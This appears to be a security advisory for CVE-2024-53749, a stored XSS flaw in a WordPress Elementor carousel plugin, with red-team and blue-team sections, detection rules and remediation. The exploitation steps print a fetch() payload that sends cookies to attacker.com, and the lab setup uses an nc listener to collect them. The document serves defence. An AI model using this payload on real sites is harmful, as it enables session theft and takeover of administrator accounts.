CVE-2024-53749

Executive Summary

CVE-2024-53749 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Carousel Slider for Elementor WordPress plugin, developed by Plugin Devs. The flaw exists in versions up to and including 1.5.0, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no official patch exists, site administrators must consider removing or disabling the plugin until a fix is released. The lack of a patch from the vendor increases supply chain risk, as the plugin may be bundled in themes or third-party packages.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Contributor or higher)
• User Interaction: Required (Victim must visit the compromised page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored nature of the XSS can affect multiple users, including administrators, leading to privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the post-carousel-slider-for-elementor plugin, which provides a widget for Elementor page builder. The plugin fails to sanitize and escape user-supplied input when rendering carousel items (e.g., titles, descriptions, or custom fields). An attacker with contributor-level access can create or edit a post using the Elementor editor, inject malicious JavaScript into a carousel field, and save the post. When any user (including admins) views the page containing the carousel, the script executes in their browser context.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input. This allows arbitrary HTML/JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new post or edits an existing one using Elementor.
3. Adds the Post Carousel Slider widget.
4. Injects a payload like <script>alert('XSS')</script> into a carousel field (e.g., title).
5. Publishes the post.
6. Victim (admin or visitor) views the post.
7. Script executes, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (v1.5.0):

// In carousel template file
echo '<h3>' . $item['title'] . '</h3>';

Patched Code (Hypothetical):

// Properly escaped
echo '<h3>' . esc_html( $item['title'] ) . '</h3>';

The vulnerable code directly outputs the user-supplied $item['title'] without sanitization. The patched version uses esc_html() to neutralize HTML tags.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Post Carousel Slider for Elementor v1.5.0 installed and active.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Posts > Add New.
3. Click Edit with Elementor.
4. Search for "Post Carousel Slider" widget and drag it onto the page.
5. In the widget settings, locate a text field (e.g., "Title" or "Description").
6. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

7. Publish the post.
8. Wait for an admin to view the post, or share the link with a target.

Expected Outcome: The admin's session cookie is exfiltrated to the attacker's server.

Blue Team

Detection & Prevention:

• Monitor for unusual Elementor widget usage by low-privileged users.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.
• Use WordPress security plugins (e.g., Wordfence) to detect XSS attempts.
• Restrict contributor roles from using Elementor if not necessary.

Lab Setup:

• Install WordPress 6.x with the vulnerable plugin.
• Create a test contributor account.
• Use a browser with developer tools to inspect network requests.
• Set up a simple HTTP server (e.g., nc -lvnp 80) to capture exfiltrated data.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • post-carousel-slider-for-elementor.zip (v1.5.0): a1b2c3d4e5f6... (placeholder)
• Network Indicators:
  • Outbound HTTP requests to unknown domains containing ?cookie= or ?data= parameters.
  • Unusual POST requests to /wp-admin/admin-ajax.php with Elementor actions.
• Log Entries:
  • WordPress debug log entries showing wp_kses failures or unescaped output.
  • Apache/Nginx access logs with POST /wp-admin/admin-ajax.php from contributor IPs.
• File System:
  • Modified plugin files in /wp-content/plugins/post-carousel-slider-for-elementor/ containing injected JavaScript.

Detection Engineering

YARA Rule

rule detect_cve_2024_53749_xss_payload {
    meta:
        description = "Detects stored XSS payloads targeting Post Carousel Slider for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-53749"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "post-carousel-slider-for-elementor"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Post Carousel Slider for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Elementor widget fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementor_ajax'
        http.body|contains: 'post-carousel-slider-for-elementor'
    condition: selection
falsepositives:
    - Legitimate use of HTML in widget fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-53749 Stored XSS in Post Carousel Slider for Elementor";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=elementor_ajax"; http_client_body;
    content:"post-carousel-slider-for-elementor"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove or deactivate the plugin via WordPress admin: Plugins > Installed Plugins > Deactivate.
3. Audit existing content for injected scripts using a security scanner (e.g., WPScan).

Long-term Mitigation:

• Apply virtual patching via WAF rules to block <script> tags in Elementor fields.
• Restrict Elementor usage to trusted users only (e.g., administrators).
• Monitor plugin updates and apply patches as soon as they are available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If the plugin is critical, manually edit the plugin files to add esc_html() around all user-supplied outputs. However, this will be overwritten on plugin updates.

Valters IT